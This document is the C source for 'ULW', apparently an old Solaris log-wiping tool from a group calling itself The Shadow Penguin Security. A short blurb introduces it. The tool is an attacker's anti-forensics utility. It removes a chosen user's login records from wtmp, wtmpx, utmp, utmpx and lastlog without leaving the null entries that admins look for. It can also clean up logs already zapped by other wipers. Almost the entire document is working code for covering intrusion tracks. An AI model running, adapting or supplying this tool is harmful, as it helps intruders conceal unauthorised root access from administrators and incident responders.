The general log wipers write the null entry to the logfiles, so admin can check the wiped traces such as the wiped. This log wiper wipes the log entry of wtmp, wtmpx, utmp, utmpx, lastlog without such wiped traces. This utility can also reconstruct the zapped logs, and remove the null entry. The usage is same as zap.
0e94ee8b379096446305b29244172ec0210e88ab446a46592575545865b7a9fe
/*====================================================================
ULW Version 1.00
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)
====================================================================
*/
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <utmp.h>
#include <utmpx.h>
#include <lastlog.h>
#include <pwd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define UTMP_NAME "/var/adm/utmp"
#define UTMPX_NAME "/var/adm/utmpx"
#define WTMP_NAME "/var/adm/wtmp"
#define WTMPX_NAME "/var/adm/wtmpx"
#define LASTLOG_NAME "/var/adm/lastlog"
#define EXT_SPACE 10
#define WIPE_MARK "XXX"
#define UTLINE_LEN 100
#define NAME_LEN 100
int main(int argc, char **argv)
{
struct utmp *wtmp_buf,*utmp_buf;
struct utmpx *wtmpx_buf,*utmpx_buf;
struct passwd *pwd;
struct stat st;
int sz1,sz2,sz3,sz4,l1,l2,l3,l4;
int tgline,utgline,i,j,k,l,zaped,ff,unzap=0;
char tg_utid[UTLINE_LEN],name[NAME_LEN],*ref_mark;
time_t dd_time[3];
if (argc<=1){
printf("[Usage]\n");
printf("%s [-u] [UserName]\n",argv[0]);
printf("-u : Reconstruct zapped log\n");
return (-1);
}
strcpy(name,argv[1]);
if (name[0]=='-'){
if (argc<=2) strcpy(name,"");
else strcpy(name,argv[2]);
if (strstr(argv[1],"u")!=NULL) unzap=1;
}
/* Get filesize of *tmp* */
stat(WTMP_NAME,&st); sz1=st.st_size;
stat(WTMPX_NAME,&st); sz2=st.st_size;
stat(UTMP_NAME,&st); sz3=st.st_size;
stat(UTMPX_NAME,&st); sz4=st.st_size;
/* Allocate buffer of *tmp* */
if ((wtmp_buf = (void *)malloc(sz1))==NULL
||(wtmpx_buf = (void *)malloc(sz2))==NULL
||(utmp_buf = (void *)malloc(sz3))==NULL
||(utmpx_buf = (void *)malloc(sz4))==NULL){
printf("Memory allocation error.\n");
return(-1);
}
/* Read *temp* to allocated buffer */
if ((l1=FileRead(WTMP_NAME, (char *)wtmp_buf, sz1))==-1
||(l2=FileRead(WTMPX_NAME,(char *)wtmpx_buf,sz2))==-1
||(l3=FileRead(UTMP_NAME, (char *)utmp_buf, sz3))==-1
||(l4=FileRead(UTMPX_NAME,(char *)utmpx_buf,sz4))==-1){
free(wtmp_buf); free(wtmpx_buf);
free(utmp_buf); free(utmpx_buf);
return(-1);
}
/* Calculate line number of wtmp/wtmpx */
l1/=sizeof(struct utmp); l2/=sizeof(struct utmpx);
l3/=sizeof(struct utmp); l4/=sizeof(struct utmpx);
if (l1!=l2 || l3!=l4){
printf("Logfile size is invalid.\n",WTMP_NAME,WTMPX_NAME);
return(-1);
}
/* unzap */
if (unzap==1){
if ((ref_mark=(void *)malloc(l1))==NULL){
printf("Memory allocation error.\n");
return(-1);
}
/* unzap wtmp/wtmpx */
memset(ref_mark,'0',l1);
for (i=l1-1;i>=0;i--){
if (wtmpx_buf[i].ut_type==6){
for (j=i+1;j<l1;j++)
if (wtmpx_buf[j].ut_type==7
&& ref_mark[j]=='0'
&& strncmp(wtmpx_buf[i].ut_id,wtmpx_buf[j].ut_id,4)==0
&& strstr(wtmp_buf[i].ut_line,wtmpx_buf[j].ut_line)!=NULL){
ref_mark[i]='@';
ref_mark[j]='*';
break;
}
}else if (wtmpx_buf[i].ut_type==7
&& strncmp(wtmpx_buf[i].ut_line,"ftp",3)==0
&& strlen(wtmpx_buf[i].ut_user)!=0){
for (j=i+1;j<l1;j++)
if (wtmpx_buf[j].ut_type==7
&& ref_mark[j]=='0'
&& strcmp(wtmp_buf[i].ut_line,wtmpx_buf[j].ut_line)==0){
ref_mark[i]='#';
ref_mark[j]='$';
break;
}
}
}
for (zaped=0,i=0;i<l1;i++)
if (ref_mark[i]!='0') continue;
else if (wtmpx_buf[i].ut_type==0
|| wtmpx_buf[i].ut_type==6 || wtmpx_buf[i].ut_type==7){
strcpy(wtmp_buf[i].ut_name,".zapped");
strcpy(wtmpx_buf[i].ut_name,".zapped");
strcpy(wtmp_buf[i].ut_id,WIPE_MARK);
strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);
zaped++;
}
/* unzap utmp/utmpx */
if (zaped!=0){
printf("wtmp/wtmpx is zapped (%d lines).\n",zaped);
for (i=l1-1;i>=0;i--){
if (wtmpx_buf[i].ut_type==6
|| ( strncmp(wtmp_buf[i].ut_id,"tn",2)!=0
&& strncmp(wtmp_buf[i].ut_id,"rl",2)!=0)) continue;
for (j=0;j<l3;j++)
if (strncmp(wtmpx_buf[i].ut_id,utmpx_buf[j].ut_id,4)==0)
break;
k=j;
if (k==l3){
for (j=0;j<l3;j++)
if (strncmp(utmpx_buf[j].ut_id,wtmpx_buf[i].ut_id,2)==0
&& utmpx_buf[j].ut_id[2]+1 == wtmpx_buf[i].ut_id[2]) break;
if (j!=l3){
for (l=j+1;l<l3;l++)
if (utmpx_buf[l].ut_type==0){
utmpx_buf[l]=wtmpx_buf[i];
utmp_buf[l]=wtmp_buf[i];
break;
}
}else{
printf("Error in utmp/utmpx\n"); return (-1);
}
}
}
for (i=0;i<l1;i++)
if (wtmpx_buf[i].ut_type==0){
strcpy(wtmp_buf[i].ut_id,WIPE_MARK);
strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);
}
for (i=0;i<l3;i++)
if (utmpx_buf[i].ut_type==0){
strcpy(utmp_buf[i].ut_id,WIPE_MARK);
strcpy(utmpx_buf[i].ut_id,WIPE_MARK);
}
setpwent();
for(;;){
if ((pwd=getpwent())==NULL) break;
WipeLastlog(pwd->pw_name,wtmp_buf,wtmpx_buf,l1);
}
/* save */
if (strlen(name)==0){
WriteLOG(wtmp_buf,WTMP_NAME,l1,0);WriteLOG(wtmpx_buf,WTMPX_NAME,l2,1);
WriteLOG(utmp_buf,UTMP_NAME,l3,0); WriteLOG(utmpx_buf,UTMPX_NAME,l4,1);
}
}else
printf("wtmp/wtmpx is not zapped.\n");
}
if (strlen(name)==0){
free(wtmp_buf); free(wtmpx_buf);
free(utmp_buf); free(utmpx_buf);
free(ref_mark);
return(0);
}
/* Search target name from wtmpx*/
for (tgline=l1-1;tgline>=0;tgline--)
if (strcmp(wtmpx_buf[tgline].ut_user,name)==0) break;
if (tgline==-1){
printf("%s does not exist in logfile\n",name);
return(-1);
}
strncpy(tg_utid,wtmpx_buf[tgline].ut_id,4);
tg_utid[4]=0;
/* Wipe wtmp/wtmpx */
strcpy(wtmp_buf[tgline].ut_id,WIPE_MARK);
strcpy(wtmpx_buf[tgline].ut_id,WIPE_MARK);
dd_time[0]=wtmp_buf[tgline].ut_time;
dd_time[1]=dd_time[2]=0;
if (strncmp(wtmpx_buf[tgline].ut_line,"ftp",3)==0){
printf("%s is FTP log.\n",name);
/* Wipe FTP Log */
for (i=tgline+1;i<l1;i++)
if (strcmp(wtmpx_buf[i].ut_line,wtmpx_buf[tgline].ut_line)==0
&& strcmp(wtmpx_buf[i].ut_name,"")==0){
strcpy(wtmp_buf[i].ut_id,WIPE_MARK);
strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);
break;
}
}else{
printf("%s is TELNET or RLOGIN log.\n",name);
/* Wipe ".rlogin" or ".telnet" entry. */
for (i=tgline-1;i>=0;i--)
if (strncmp(wtmpx_buf[i].ut_id,tg_utid,4)==0
&& wtmpx_buf[i].ut_type==6){
strcpy(wtmp_buf[i].ut_id,WIPE_MARK);
strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);
dd_time[1]=wtmp_buf[i].ut_time;
break;
}
/* Wipe login entry */
if (wtmp_buf[tgline].ut_type==8)
for (i=tgline-1;i>=0;i--)
if (strncmp(wtmpx_buf[i].ut_id,tg_utid,4)==0
&& wtmpx_buf[i].ut_type==7){
strcpy(wtmp_buf[i].ut_id,WIPE_MARK);
strcpy(wtmpx_buf[i].ut_id,WIPE_MARK);
dd_time[2]=wtmp_buf[i].ut_time;
break;
}
/* Write to utmp/utmpx */
for (ff=0,i=0;i<l3;i++){
for (j=0;j<3;j++)
if (utmp_buf[i].ut_time == dd_time[j]){
ff=1; break;
}
if (j!=3) break;
}
if (ff==1){
for (j=tgline-1;j>=0;j--)
if (strncmp(wtmpx_buf[j].ut_id,tg_utid,4)==0
&& wtmpx_buf[j].ut_type==8){
utmp_buf[i]=wtmp_buf[j]; utmpx_buf[i]=wtmpx_buf[j];
break;
}
if (j==-1){
strcpy(utmp_buf[i].ut_id,WIPE_MARK);
strcpy(utmpx_buf[i].ut_id,WIPE_MARK);
}
}
}
WipeLastlog(name,wtmp_buf,wtmpx_buf,l1);
WriteLOG(wtmp_buf,WTMP_NAME,l1,0); WriteLOG(wtmpx_buf,WTMPX_NAME,l2,1);
WriteLOG(utmp_buf,UTMP_NAME,l3,0); WriteLOG(utmpx_buf,UTMPX_NAME,l4,1);
free(wtmp_buf); free(wtmpx_buf);
free(utmp_buf); free(utmpx_buf);
return(0);
}
int WipeLastlog(char *name,struct utmp *wtmp_buf,struct utmpx *wtmpx_buf,int l)
{
struct passwd *p;
struct lastlog ll,ll_old;
int fd,i;
if ((p=getpwnam(name))==NULL){
printf("%s does not exist in lastlog.\n"); return(-1);
}
for (i=l-1;i>=0;i--)
if (strcmp(wtmpx_buf[i].ut_user,name)==0 && wtmpx_buf[i].ut_type==7
&& strncmp(wtmpx_buf[i].ut_id,WIPE_MARK,strlen(WIPE_MARK))!=0) break;
if (i==-1) bzero((char *)&ll,sizeof(struct lastlog));
else{
ll.ll_time=wtmp_buf[i].ut_time;
if (strncmp(wtmp_buf[i].ut_line,"ftp",3)==0)
strncpy(ll.ll_line,wtmp_buf[i].ut_line+5,sizeof(ll.ll_line));
else strncpy(ll.ll_line,wtmp_buf[i].ut_line,sizeof(ll.ll_line));
ll.ll_line[sizeof(ll.ll_line)-1]=0;
strncpy(ll.ll_host,wtmpx_buf[i].ut_host,sizeof(ll.ll_host));
ll.ll_host[sizeof(ll.ll_host)-1]=0;
}
if ((fd=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(fd,(long)p->pw_uid * sizeof (struct lastlog), 0);
read(fd,(char *)&ll_old,sizeof(ll));
if (ll_old.ll_time==ll.ll_time) return(0);
lseek(fd,(long)p->pw_uid * sizeof (struct lastlog), 0);
write(fd,(char *)&ll,sizeof(ll));
printf("%s replaced.\n",LASTLOG_NAME);
close(fd); return(0);
}else{
printf("File write error. You have to get rOOt.\n");
return(-1);
}
}
int WriteLOG(void *buf,char *fname,int ln,int flag)
{
struct utmp *wtmp_buf=buf;
struct utmpx *wtmpx_buf=buf;
FILE *fp;
int i;
if ((fp=fopen(fname,"wb"))==NULL){
printf("File write error \"%s\".\n",fname);
printf("You have to get rOOt.\n");
return (-1);
}
for (i=0;i<ln;i++){
if (flag==0){
if (strcmp(wtmp_buf[i].ut_id,WIPE_MARK)==0) continue;
else fwrite(wtmp_buf+i,1,sizeof(struct utmp),fp);
}else{
if (strcmp(wtmpx_buf[i].ut_id,WIPE_MARK)==0) continue;
else fwrite(wtmpx_buf+i,1,sizeof(struct utmpx),fp);
}
}
printf("%s wiped.\n",fname);
fclose(fp);
}
int FileRead(char *path,char *buf,int sz)
{
FILE *fp;
int r;
if ((fp=fopen(path,"rb"))==NULL){
printf("File not found \"%s\".\n",path); return(-1);
}
r=fread(buf,1,sz,fp); fclose(fp);
return(r);
}